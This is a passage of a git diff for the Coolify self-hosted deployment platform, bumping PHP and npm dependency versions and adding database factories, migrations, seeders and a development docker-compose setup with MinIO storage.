"time": "2026-02-16T08:34:36+00:00" }, { "name": "rector/rector", - "version": "2.3.5", + "version": "2.3.8", "source": { "type": "git", "url": "https://github.com/rectorphp/rector.git", - "reference": "9442f4037de6a5347ae157fe8e6c7cda9d909070" + "reference": "bbd37aedd8df749916cffa2a947cfc4714d1ba2c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/rectorphp/rector/zipball/9442f4037de6a5347ae157fe8e6c7cda9d909070", - "reference": "9442f4037de6a5347ae157fe8e6c7cda9d909070", + "url": "https://api.github.com/repos/rectorphp/rector/zipball/bbd37aedd8df749916cffa2a947cfc4714d1ba2c", + "reference": "bbd37aedd8df749916cffa2a947cfc4714d1ba2c", "shasum": "" }, "require": { "php": "^7.4|^8.0", - "phpstan/phpstan": "^2.1.36" + "phpstan/phpstan": "^2.1.38" }, "conflict": { "rector/rector-doctrine": "*", @@ -15438,7 +15517,7 @@ ], "support": { "issues": "https://github.com/rectorphp/rector/issues", - "source": "https://github.com/rectorphp/rector/tree/2.3.5" + "source": "https://github.com/rectorphp/rector/tree/2.3.8" }, "funding": [ { @@ -15446,7 +15525,7 @@ "type": "github" } ], - "time": "2026-01-28T15:22:48+00:00" + "time": "2026-02-22T09:45:50+00:00" }, { "name": "revolt/event-loop", @@ -16690,23 +16769,23 @@ }, { "name": "spatie/laravel-ignition", - "version": "2.10.0", + "version": "2.11.0", "source": { "type": "git", "url": "https://github.com/spatie/laravel-ignition.git", - "reference": "2abefdcca6074a9155f90b4ccb3345af8889d5f5" + "reference": "11f38d1ff7abc583a61c96bf3c1b03610a69cccd" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-ignition/zipball/2abefdcca6074a9155f90b4ccb3345af8889d5f5", - "reference": "2abefdcca6074a9155f90b4ccb3345af8889d5f5", + "url": "https://api.github.com/repos/spatie/laravel-ignition/zipball/11f38d1ff7abc583a61c96bf3c1b03610a69cccd", + "reference": "11f38d1ff7abc583a61c96bf3c1b03610a69cccd", "shasum": "" }, "require": { "ext-curl": "*", "ext-json": "*", "ext-mbstring": "*", - "illuminate/support": "^11.0|^12.0", + "illuminate/support": "^11.0|^12.0|^13.0", "nesbot/carbon": "^2.72|^3.0", "php": "^8.2", "spatie/ignition": "^1.15.1", @@ -16714,10 +16793,10 @@ "symfony/var-dumper": "^7.4|^8.0" }, "require-dev": { - "livewire/livewire": "^3.7.0|^4.0", + "livewire/livewire": "^3.7.0|^4.0|dev-josh/v3-laravel-13-support", "mockery/mockery": "^1.6.12", - "openai-php/client": "^0.10.3", - "orchestra/testbench": "^v9.16.0|^10.6", + "openai-php/client": "^0.10.3|^0.19", + "orchestra/testbench": "^v9.16.0|^10.6|^11.0", "pestphp/pest": "^3.7|^4.0", "phpstan/extension-installer": "^1.4.3", "phpstan/phpstan-deprecation-rules": "^2.0.3", @@ -16778,7 +16857,7 @@ "type": "github" } ], - "time": "2026-01-20T13:16:11+00:00" + "time": "2026-02-22T19:14:05+00:00" }, { "name": "staabm/side-effects-detector", @@ -16834,16 +16913,16 @@ }, { "name": "symfony/http-client", - "version": "v7.4.5", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/http-client.git", - "reference": "84bb634857a893cc146cceb467e31b3f02c5fe9f" + "reference": "2bde8afd5ab2fe0b05a9c2d4c3c0e28ceb98a154" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/http-client/zipball/84bb634857a893cc146cceb467e31b3f02c5fe9f", - "reference": "84bb634857a893cc146cceb467e31b3f02c5fe9f", + "url": "https://api.github.com/repos/symfony/http-client/zipball/2bde8afd5ab2fe0b05a9c2d4c3c0e28ceb98a154", + "reference": "2bde8afd5ab2fe0b05a9c2d4c3c0e28ceb98a154", "shasum": "" }, "require": { @@ -16911,7 +16990,7 @@ "http" ], "support": { - "source": "https://github.com/symfony/http-client/tree/v7.4.5" + "source": "https://github.com/symfony/http-client/tree/v7.4.6" }, "funding": [ { @@ -16931,7 +17010,7 @@ "type": "tidelift" } ], - "time": "2026-01-27T16:16:02+00:00" + "time": "2026-02-18T09:46:18+00:00" }, { "name": "symfony/http-client-contracts", @@ -17013,23 +17092,23 @@ }, { "name": "ta-tikoma/phpunit-architecture-test", - "version": "0.8.6", + "version": "0.8.7", "source": { "type": "git", "url": "https://github.com/ta-tikoma/phpunit-architecture-test.git", - "reference": "ad48430b92901fd7d003fdaf2d7b139f96c0906e" + "reference": "1248f3f506ca9641d4f68cebcd538fa489754db8" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/ta-tikoma/phpunit-architecture-test/zipball/ad48430b92901fd7d003fdaf2d7b139f96c0906e", - "reference": "ad48430b92901fd7d003fdaf2d7b139f96c0906e", + "url": "https://api.github.com/repos/ta-tikoma/phpunit-architecture-test/zipball/1248f3f506ca9641d4f68cebcd538fa489754db8", + "reference": "1248f3f506ca9641d4f68cebcd538fa489754db8", "shasum": "" }, "require": { "nikic/php-parser": "^4.18.0 || ^5.0.0", "php": "^8.1.0", "phpdocumentor/reflection-docblock": "^5.3.0 || ^6.0.0", - "phpunit/phpunit": "^10.5.5 || ^11.0.0 || ^12.0.0", + "phpunit/phpunit": "^10.5.5 || ^11.0.0 || ^12.0.0 || ^13.0.0", "symfony/finder": "^6.4.0 || ^7.0.0 || ^8.0.0" }, "require-dev": { @@ -17066,9 +17145,9 @@ ], "support": { "issues": "https://github.com/ta-tikoma/phpunit-architecture-test/issues", - "source": "https://github.com/ta-tikoma/phpunit-architecture-test/tree/0.8.6" + "source": "https://github.com/ta-tikoma/phpunit-architecture-test/tree/0.8.7" }, - "time": "2026-01-30T07:16:00+00:00" + "time": "2026-02-17T17:25:14+00:00" }, { "name": "theseer/tokenizer", @@ -17130,5 +17209,5 @@ "php": "^8.4" }, "platform-dev": {}, - "plugin-api-version": "2.6.0" + "plugin-api-version": "2.9.0" } diff --git a/config/constants.php b/config/constants.php index 0b404fe9d..9c6454cae 100644 --- a/config/constants.php +++ b/config/constants.php @@ -2,9 +2,9 @@ return [ 'coolify' => [ - 'version' => '4.0.0-beta.463', + 'version' => '4.0.0-beta.469', 'helper_version' => '1.0.12', - 'realtime_version' => '1.0.10', + 'realtime_version' => '1.0.11', 'self_hosted' => env('SELF_HOSTED', true), 'autoupdate' => env('AUTOUPDATE'), 'base_config_path' => env('BASE_CONFIG_PATH', '/data/coolify'), diff --git a/config/database.php b/config/database.php index 79da0eaf7..a5e0ba703 100644 --- a/config/database.php +++ b/config/database.php @@ -49,7 +49,7 @@ 'search_path' => 'public', 'sslmode' => 'prefer', 'options' => [ - PDO::PGSQL_ATTR_DISABLE_PREPARES => env('DB_DISABLE_PREPARES', false), + (defined('Pdo\Pgsql::ATTR_DISABLE_PREPARES') ? \Pdo\Pgsql::ATTR_DISABLE_PREPARES : \PDO::PGSQL_ATTR_DISABLE_PREPARES) => env('DB_DISABLE_PREPARES', false), ], ], diff --git a/config/horizon.php b/config/horizon.php index cdabcb1e8..0423f1549 100644 --- a/config/horizon.php +++ b/config/horizon.php @@ -184,13 +184,13 @@ 'connection' => 'redis', 'balance' => env('HORIZON_BALANCE', 'false'), 'queue' => env('HORIZON_QUEUES', 'high,default'), - 'maxTime' => 3600, + 'maxTime' => env('HORIZON_MAX_TIME', 0), 'maxJobs' => 400, 'memory' => 128, 'tries' => 1, 'nice' => 0, 'sleep' => 3, - 'timeout' => 3600, + 'timeout' => env('HORIZON_TIMEOUT', 36000), ], ], diff --git a/database/factories/EnvironmentFactory.php b/database/factories/EnvironmentFactory.php new file mode 100644 index 000000000..98959197d --- /dev/null +++ b/database/factories/EnvironmentFactory.php @@ -0,0 +1,16 @@ + fake()->unique()->word(), + 'project_id' => 1, + ]; + } +} diff --git a/database/factories/ProjectFactory.php b/database/factories/ProjectFactory.php new file mode 100644 index 000000000..0b2b72b8a --- /dev/null +++ b/database/factories/ProjectFactory.php @@ -0,0 +1,16 @@ + fake()->unique()->company(), + 'team_id' => 1, + ]; + } +} diff --git a/database/factories/ScheduledTaskFactory.php b/database/factories/ScheduledTaskFactory.php new file mode 100644 index 000000000..6e4d6d740 --- /dev/null +++ b/database/factories/ScheduledTaskFactory.php @@ -0,0 +1,21 @@ + fake()->word(), + 'command' => 'echo hello', + 'frequency' => '* * * * *', + 'timeout' => 300, + 'enabled' => true, + 'team_id' => Team::factory(), + ]; + } +} diff --git a/database/factories/ServiceFactory.php b/database/factories/ServiceFactory.php new file mode 100644 index 000000000..62c5f7cda --- /dev/null +++ b/database/factories/ServiceFactory.php @@ -0,0 +1,19 @@ + fake()->unique()->word(), + 'destination_type' => \App\Models\StandaloneDocker::class, + 'destination_id' => 1, + 'environment_id' => 1, + 'docker_compose_raw' => 'version: "3"', + ]; + } +} diff --git a/database/factories/StandaloneDockerFactory.php b/database/factories/StandaloneDockerFactory.php new file mode 100644 index 000000000..d37785189 --- /dev/null +++ b/database/factories/StandaloneDockerFactory.php @@ -0,0 +1,18 @@ + fake()->uuid(), + 'name' => fake()->unique()->word(), + 'network' => 'coolify', + 'server_id' => 1, + ]; + } +} diff --git a/database/migrations/2025_11_17_145255_add_comment_to_environment_variables_table.php b/database/migrations/2025_11_17_145255_add_comment_to_environment_variables_table.php new file mode 100644 index 000000000..abbae3573 --- /dev/null +++ b/database/migrations/2025_11_17_145255_add_comment_to_environment_variables_table.php @@ -0,0 +1,36 @@ +string('comment', 256)->nullable(); + }); + + Schema::table('shared_environment_variables', function (Blueprint $table) { + $table->string('comment', 256)->nullable(); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('environment_variables', function (Blueprint $table) { + $table->dropColumn('comment'); + }); + + Schema::table('shared_environment_variables', function (Blueprint $table) { + $table->dropColumn('comment'); + }); + } +}; diff --git a/database/migrations/2025_12_25_072315_add_cmd_healthcheck_to_applications_table.php b/database/migrations/2025_12_25_072315_add_cmd_healthcheck_to_applications_table.php new file mode 100644 index 000000000..cd9d98a1c --- /dev/null +++ b/database/migrations/2025_12_25_072315_add_cmd_healthcheck_to_applications_table.php @@ -0,0 +1,44 @@ +text('health_check_type')->default('http')->after('health_check_enabled'); + }); + } + + if (! Schema::hasColumn('applications', 'health_check_command')) { + Schema::table('applications', function (Blueprint $table) { + $table->text('health_check_command')->nullable()->after('health_check_type'); + }); + } + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + if (Schema::hasColumn('applications', 'health_check_type')) { + Schema::table('applications', function (Blueprint $table) { + $table->dropColumn('health_check_type'); + }); + } + + if (Schema::hasColumn('applications', 'health_check_command')) { + Schema::table('applications', function (Blueprint $table) { + $table->dropColumn('health_check_command'); + }); + } + } +}; diff --git a/database/migrations/2026_02_26_163035_add_stripe_refunded_at_to_subscriptions_table.php b/database/migrations/2026_02_26_163035_add_stripe_refunded_at_to_subscriptions_table.php new file mode 100644 index 000000000..76420fb5c --- /dev/null +++ b/database/migrations/2026_02_26_163035_add_stripe_refunded_at_to_subscriptions_table.php @@ -0,0 +1,25 @@ +timestamp('stripe_refunded_at')->nullable()->after('stripe_past_due'); + }); + } + + public function down(): void + { + Schema::table('subscriptions', function (Blueprint $table) { + $table->dropColumn('stripe_refunded_at'); + }); + } +}; diff --git a/database/migrations/2026_02_27_000000_add_public_port_timeout_to_databases.php b/database/migrations/2026_02_27_000000_add_public_port_timeout_to_databases.php new file mode 100644 index 000000000..defebcce4 --- /dev/null +++ b/database/migrations/2026_02_27_000000_add_public_port_timeout_to_databases.php @@ -0,0 +1,60 @@ +integer('public_port_timeout')->nullable()->default(3600)->after('public_port'); + }); + } + } + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + $tables = [ + 'standalone_postgresqls', + 'standalone_mysqls', + 'standalone_mariadbs', + 'standalone_redis', + 'standalone_mongodbs', + 'standalone_clickhouses', + 'standalone_keydbs', + 'standalone_dragonflies', + 'service_databases', + ]; + + foreach ($tables as $table) { + if (Schema::hasTable($table) && Schema::hasColumn($table, 'public_port_timeout')) { + Schema::table($table, function (Blueprint $table) { + $table->dropColumn('public_port_timeout'); + }); + } + } + } +}; diff --git a/database/migrations/2026_03_11_000000_add_server_metadata_to_servers_table.php b/database/migrations/2026_03_11_000000_add_server_metadata_to_servers_table.php new file mode 100644 index 000000000..cea25c3ba --- /dev/null +++ b/database/migrations/2026_03_11_000000_add_server_metadata_to_servers_table.php @@ -0,0 +1,32 @@ +json('server_metadata')->nullable(); + }); + } + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + if (Schema::hasColumn('servers', 'server_metadata')) { + Schema::table('servers', function (Blueprint $table) { + $table->dropColumn('server_metadata'); + }); + } + } +}; diff --git a/database/seeders/ApplicationSeeder.php b/database/seeders/ApplicationSeeder.php index f5a00fe15..2a0273e0f 100644 --- a/database/seeders/ApplicationSeeder.php +++ b/database/seeders/ApplicationSeeder.php @@ -4,6 +4,7 @@ use App\Models\Application; use App\Models\GithubApp; +use App\Models\GitlabApp; use App\Models\StandaloneDocker; use Illuminate\Database\Seeder; @@ -21,7 +22,7 @@ public function run(): void 'git_repository' => 'coollabsio/coolify-examples', 'git_branch' => 'v4.x', 'base_directory' => '/docker-compose', - 'docker_compose_location' => 'docker-compose-test.yaml', + 'docker_compose_location' => '/docker-compose-test.yaml', 'build_pack' => 'dockercompose', 'ports_exposes' => '80', 'environment_id' => 1, @@ -98,5 +99,51 @@ public function run(): void CMD ["sh", "-c", "echo Crashing in 5 seconds... && sleep 5 && exit 1"] ', ]); + Application::create([ + 'uuid' => 'github-deploy-key', + 'name' => 'GitHub Deploy Key Example', + 'fqdn' => 'http://github-deploy-key.127.0.0.1.sslip.io', + 'git_repository' => 'git@github.com:coollabsio/coolify-examples-deploy-key.git', + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '80', + 'environment_id' => 1, + 'destination_id' => 0, + 'destination_type' => StandaloneDocker::class, + 'source_id' => 0, + 'source_type' => GithubApp::class, + 'private_key_id' => 1, + ]); + Application::create([ + 'uuid' => 'gitlab-deploy-key', + 'name' => 'GitLab Deploy Key Example', + 'fqdn' => 'http://gitlab-deploy-key.127.0.0.1.sslip.io', + 'git_repository' => 'git@gitlab.com:coollabsio/php-example.git', + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '80', + 'environment_id' => 1, + 'destination_id' => 0, + 'destination_type' => StandaloneDocker::class, + 'source_id' => 1, + 'source_type' => GitlabApp::class, + 'private_key_id' => 1, + ]); + Application::create([ + 'uuid' => 'gitlab-public-example', + 'name' => 'GitLab Public Example', + 'fqdn' => 'http://gitlab-public.127.0.0.1.sslip.io', + 'git_repository' => 'https://gitlab.com/andrasbacsai/coolify-examples.git', + 'base_directory' => '/astro/static', + 'publish_directory' => '/dist', + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '80', + 'environment_id' => 1, + 'destination_id' => 0, + 'destination_type' => StandaloneDocker::class, + 'source_id' => 1, + 'source_type' => GitlabApp::class, + ]); } } diff --git a/database/seeders/ApplicationSettingsSeeder.php b/database/seeders/ApplicationSettingsSeeder.php index 8e439fd16..87236df8a 100644 --- a/database/seeders/ApplicationSettingsSeeder.php +++ b/database/seeders/ApplicationSettingsSeeder.php @@ -15,5 +15,12 @@ public function run(): void $application_1 = Application::find(1)->load(['settings']); $application_1->settings->is_debug_enabled = false; $application_1->settings->save(); + + $gitlabPublic = Application::where('uuid', 'gitlab-public-example')->first(); + if ($gitlabPublic) { + $gitlabPublic->load(['settings']); + $gitlabPublic->settings->is_static = true; + $gitlabPublic->settings->save(); + } } } diff --git a/database/seeders/CaSslCertSeeder.php b/database/seeders/CaSslCertSeeder.php index 1b71a5e43..5d092d2e8 100644 --- a/database/seeders/CaSslCertSeeder.php +++ b/database/seeders/CaSslCertSeeder.php @@ -26,12 +26,14 @@ public function run() } $caCertPath = config('constants.coolify.base_config_path').'/ssl/'; + $base64Cert = base64_encode($caCert->ssl_certificate); + $commands = collect([ "mkdir -p $caCertPath", "chown -R 9999:root $caCertPath", "chmod -R 700 $caCertPath", "rm -rf $caCertPath/coolify-ca.crt", - "echo '{$caCert->ssl_certificate}' > $caCertPath/coolify-ca.crt", + "echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null", "chmod 644 $caCertPath/coolify-ca.crt", ]); diff --git a/docker-compose-maxio.dev.yml b/docker-compose-maxio.dev.yml new file mode 100644 index 000000000..bbb483d7a --- /dev/null +++ b/docker-compose-maxio.dev.yml @@ -0,0 +1,211 @@ +services: + coolify: + image: coolify:dev + pull_policy: never + build: + context: . + dockerfile: ./docker/development/Dockerfile + args: + - USER_ID=${USERID:-1000} + - GROUP_ID=${GROUPID:-1000} + ports: + - "${APP_PORT:-8000}:8080" + environment: + AUTORUN_ENABLED: false + PUSHER_HOST: "${PUSHER_HOST}" + PUSHER_PORT: "${PUSHER_PORT}" + PUSHER_SCHEME: "${PUSHER_SCHEME:-http}" + PUSHER_APP_ID: "${PUSHER_APP_ID:-coolify}" + PUSHER_APP_KEY: "${PUSHER_APP_KEY:-coolify}" + PUSHER_APP_SECRET: "${PUSHER_APP_SECRET:-coolify}" + healthcheck: + test: curl -sf http://127.0.0.1:8080/api/health || exit 1 + interval: 5s + retries: 10 + timeout: 2s + volumes: + - .:/var/www/html/:cached + - dev_backups_data:/var/www/html/storage/app/backups + networks: + - coolify + postgres: + pull_policy: always + ports: + - "${FORWARD_DB_PORT:-5432}:5432" + env_file: + - .env + environment: + POSTGRES_USER: "${DB_USERNAME:-coolify}" + POSTGRES_PASSWORD: "${DB_PASSWORD:-password}" + POSTGRES_DB: "${DB_DATABASE:-coolify}" + POSTGRES_HOST_AUTH_METHOD: "trust" + healthcheck: + test: [ "CMD-SHELL", "pg_isready -U $$POSTGRES_USER -d $$POSTGRES_DB" ] + interval: 5s + retries: 10 + timeout: 2s + volumes: + - dev_postgres_data:/var/lib/postgresql/data + redis: + pull_policy: always + ports: + - "${FORWARD_REDIS_PORT:-6379}:6379" + env_file: + - .env + healthcheck: + test: redis-cli ping + interval: 5s + retries: 10 + timeout: 2s + volumes: + - dev_redis_data:/data + soketi: + image: coolify-realtime:dev + pull_policy: never + build: + context: . + dockerfile: ./docker/coolify-realtime/Dockerfile + env_file: + - .env + ports: + - "${FORWARD_SOKETI_PORT:-6001}:6001" + - "6002:6002" + volumes: + - ./storage:/var/www/html/storage + - ./docker/coolify-realtime/terminal-server.js:/terminal/terminal-server.js + - ./docker/coolify-realtime/terminal-utils.js:/terminal/terminal-utils.js + environment: + SOKETI_DEBUG: "false" + SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}" + SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY:-coolify}" + SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET:-coolify}" + SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}" + healthcheck: + test: [ "CMD-SHELL", "curl -fsS http://127.0.0.1:6001/ready && curl -fsS http://127.0.0.1:6002/ready || exit 1" ] + interval: 5s + retries: 10 + timeout: 2s + entrypoint: ["/bin/sh", "/soketi-entrypoint.sh"] + vite: + image: node:24-alpine + pull_policy: always + container_name: coolify-vite + working_dir: /var/www/html + environment: + VITE_HOST: "${VITE_HOST:-localhost}" + VITE_PORT: "${VITE_PORT:-5173}" + ports: + - "${VITE_PORT:-5173}:${VITE_PORT:-5173}" + volumes: + - .:/var/www/html/:cached + command: sh -c "npm install && npm run dev" + networks: + - coolify + testing-host: + image: coolify-testing-host:dev + pull_policy: never + build: + context: . + dockerfile: ./docker/testing-host/Dockerfile + init: true + container_name: coolify-testing-host + volumes: + - /var/run/docker.sock:/var/run/docker.sock + - dev_coolify_data:/data/coolify + - dev_backups_data:/data/coolify/backups + - dev_postgres_data:/data/coolify/_volumes/database + - dev_redis_data:/data/coolify/_volumes/redis + - dev_minio_data:/data/coolify/_volumes/minio + networks: + - coolify + mailpit: + image: axllent/mailpit:latest + pull_policy: always + container_name: coolify-mail + ports: + - "${FORWARD_MAILPIT_PORT:-1025}:1025" + - "${FORWARD_MAILPIT_DASHBOARD_PORT:-8025}:8025" + networks: + - coolify + # maxio: + # image: ghcr.io/coollabsio/maxio + # pull_policy: always + # container_name: coolify-maxio + # ports: + # - "${FORWARD_MAXIO_PORT:-9000}:9000" + # environment: + # MAXIO_ACCESS_KEY: "${MAXIO_ACCESS_KEY:-maxioadmin}" + # MAXIO_SECRET_KEY: "${MAXIO_SECRET_KEY:-maxioadmin}" + # volumes: + # - dev_maxio_data:/data + # networks: + # - coolify + minio: + image: ghcr.io/coollabsio/minio:RELEASE.2025-10-15T17-29-55Z # Released on 15 October 2025 + pull_policy: always + container_name: coolify-minio + command: server /data --console-address ":9001" + ports: + - "${FORWARD_MINIO_PORT:-9000}:9000" + - "${FORWARD_MINIO_PORT_CONSOLE:-9001}:9001" + environment: + MINIO_ACCESS_KEY: "${MINIO_ACCESS_KEY:-minioadmin}" + MINIO_SECRET_KEY: "${MINIO_SECRET_KEY:-minioadmin}" + volumes: + - dev_minio_data:/data + - dev_maxio_data:/data + networks: + - coolify + # maxio-init: + # image: minio/mc:latest + # pull_policy: always + # container_name: coolify-maxio-init + # restart: no + # depends_on: + # - maxio + # entrypoint: > + # /bin/sh -c " + # echo 'Waiting for MaxIO to be ready...'; + # until mc alias set local http://coolify-maxio:9000 maxioadmin maxioadmin 2>/dev/null; do + # echo 'MaxIO not ready yet, waiting...'; + # sleep 2; + # done; + # echo 'MaxIO is ready, creating bucket if needed...'; + # mc mb local/local --ignore-existing; + # echo 'MaxIO initialization complete - bucket local is ready'; + # " + # networks: + # - coolify + minio-init: + image: minio/mc:latest + pull_policy: always + container_name: coolify-minio-init + restart: no + depends_on: + - minio + entrypoint: > + /bin/sh -c " + echo 'Waiting for MinIO to be ready...'; + until mc alias set local http://coolify-minio:9000 minioadmin minioadmin 2>/dev/null; do + echo 'MinIO not ready yet, waiting...'; + sleep 2; + done; + echo 'MinIO is ready, creating bucket if needed...'; + mc mb local/local --ignore-existing; + echo 'MinIO initialization complete - bucket local is ready'; + " + networks: + - coolify + +volumes: + dev_backups_data: + dev_postgres_data: + dev_redis_data: + dev_coolify_data: + dev_minio_data: + dev_maxio_data: + +networks: + coolify: + name: coolify + external: false diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml index acc84b61a..3af443c83 100644 --- a/docker-compose.dev.yml +++ b/docker-compose.dev.yml @@ -73,11 +73,13 @@ services: volumes: - ./storage:/var/www/html/storage - ./docker/coolify-realtime/terminal-server.js:/terminal/terminal-server.js + - ./docker/coolify-realtime/terminal-utils.js:/terminal/terminal-utils.js environment: SOKETI_DEBUG: "false" SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}" SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY:-coolify}" SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET:-coolify}" + SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}" healthcheck: test: [ "CMD-SHELL", "curl -fsS http://127.0.0.1:6001/ready && curl -fsS http://127.0.0.1:6002/ready || exit 1" ] interval: 5s diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 46e0e88e5..0bd4ae2dd 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -60,7 +60,7 @@ services: retries: 10 timeout: 2s soketi: - image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.10' + image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.11' ports: - "${SOKETI_PORT:-6001}:6001" - "6002:6002" @@ -72,6 +72,7 @@ services: SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}" SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}" SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}" + SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}" healthcheck: test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ] interval: 5s diff --git a/docker-compose.windows.yml b/docker-compose.windows.yml index 3116a4185..ca233356a 100644 --- a/docker-compose.windows.yml +++ b/docker-compose.windows.yml @@ -113,6 +113,7 @@ services: SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}" SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}" SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}" + SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}" healthcheck: test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ] interval: 5s diff --git a/docker/coolify-realtime/Dockerfile b/docker/coolify-realtime/Dockerfile index 18c2f9301..99157268b 100644 --- a/docker/coolify-realtime/Dockerfile +++ b/docker/coolify-realtime/Dockerfile @@ -16,6 +16,7 @@ RUN npm i RUN npm rebuild node-pty --update-binary COPY docker/coolify-realtime/soketi-entrypoint.sh /soketi-entrypoint.sh COPY docker/coolify-realtime/terminal-server.js /terminal/terminal-server.js +COPY docker/coolify-realtime/terminal-utils.js /terminal/terminal-utils.js # Install Cloudflared based on architecture RUN if [ "${TARGETPLATFORM}" = "linux/amd64" ]; then \ diff --git a/docker/coolify-realtime/package-lock.json b/docker/coolify-realtime/package-lock.json index c445c972c..1c49ff930 100644 --- a/docker/coolify-realtime/package-lock.json +++ b/docker/coolify-realtime/package-lock.json @@ -5,29 +5,29 @@ "packages": { "": { "dependencies": { - "@xterm/addon-fit": "0.10.0", - "@xterm/xterm": "5.5.0", - "axios": "1.12.0", - "cookie": "1.0.2", - "dotenv": "16.5.0", - "node-pty": "1.0.0", - "ws": "8.18.1" + "@xterm/addon-fit": "0.11.0", + "@xterm/xterm": "6.0.0", + "axios": "1.13.6", + "cookie": "1.1.1", + "dotenv": "17.3.1", + "node-pty": "1.1.0", + "ws": "8.19.0" } }, "node_modules/@xterm/addon-fit": { - "version": "0.10.0", - "resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.10.0.tgz", - "integrity": "sha512-UFYkDm4HUahf2lnEyHvio51TNGiLK66mqP2JoATy7hRZeXaGMRDr00JiSF7m63vR5WKATF605yEggJKsw0JpMQ==", - "license": "MIT", - "peerDependencies": { - "@xterm/xterm": "^5.0.0" - } + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.11.0.tgz", + "integrity": "sha512-jYcgT6xtVYhnhgxh3QgYDnnNMYTcf8ElbxxFzX0IZo+vabQqSPAjC3c1wJrKB5E19VwQei89QCiZZP86DCPF7g==", + "license": "MIT" }, "node_modules/@xterm/xterm": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-5.5.0.tgz", - "integrity": "sha512-hqJHYaQb5OptNunnyAnkHyM8aCjZ1MEIDTQu1iIbbTD/xops91NB5yq1ZK/dC2JDbVWtF23zUtl9JE2NqwT87A==", - "license": "MIT" + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-6.0.0.tgz", + "integrity": "sha512-TQwDdQGtwwDt+2cgKDLn0IRaSxYu1tSUjgKarSDkUM0ZNiSRXFpjxEsvc/Zgc5kq5omJ+V0a8/kIM2WD3sMOYg==", + "license": "MIT", + "workspaces": [ + "addons/*" + ] }, "node_modules/asynckit": { "version": "0.4.0", @@ -36,13 +36,13 @@ "license": "MIT" }, "node_modules/axios": { - "version": "1.12.0", - "resolved": "https://registry.npmjs.org/axios/-/axios-1.12.0.tgz", - "integrity": "sha512-oXTDccv8PcfjZmPGlWsPSwtOJCZ/b6W5jAMCNcfwJbCzDckwG0jrYJFaWH1yvivfCXjVzV/SPDEhMB3Q+DSurg==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.6.tgz", + "integrity": "sha512-ChTCHMouEe2kn713WHbQGcuYrr6fXTBiu460OTwWrWob16g1bXn4vtz07Ope7ewMozJAnEquLk5lWQWtBig9DQ==", "license": "MIT", "dependencies": { - "follow-redirects": "^1.15.6", - "form-data": "^4.0.4", + "follow-redirects": "^1.15.11", + "form-data": "^4.0.5", "proxy-from-env": "^1.1.0" } }, @@ -72,12 +72,16 @@ } }, "node_modules/cookie": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.0.2.tgz", - "integrity": "sha512-9Kr/j4O16ISv8zBBhJoi4bXOYNTkFLOqSL3UDB0njXxCXNezjeyVrJyGOWtgfs/q2km1gwBcfH8q1yEGoMYunA==", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", + "integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==", "license": "MIT", "engines": { "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" } }, "node_modules/delayed-stream": { @@ -90,9 +94,9 @@ } }, "node_modules/dotenv": { - "version": "16.5.0", - "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.5.0.tgz", - "integrity": "sha512-m/C+AwOAr9/W1UOIZUo232ejMNnJAJtYQjUbHoNTBNTJSvqzzDh7vnrei3o3r3m9blf6ZoDkvcw0VmozNRFJxg==", + "version": "17.3.1", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-17.3.1.tgz", + "integrity": "sha512-IO8C/dzEb6O3F9/twg6ZLXz164a2fhTnEWb95H23Dm4OuN+92NmEAlTrupP9VW6Jm3sO26tQlqyvyi4CsnY9GA==", "license": "BSD-2-Clause", "engines": { 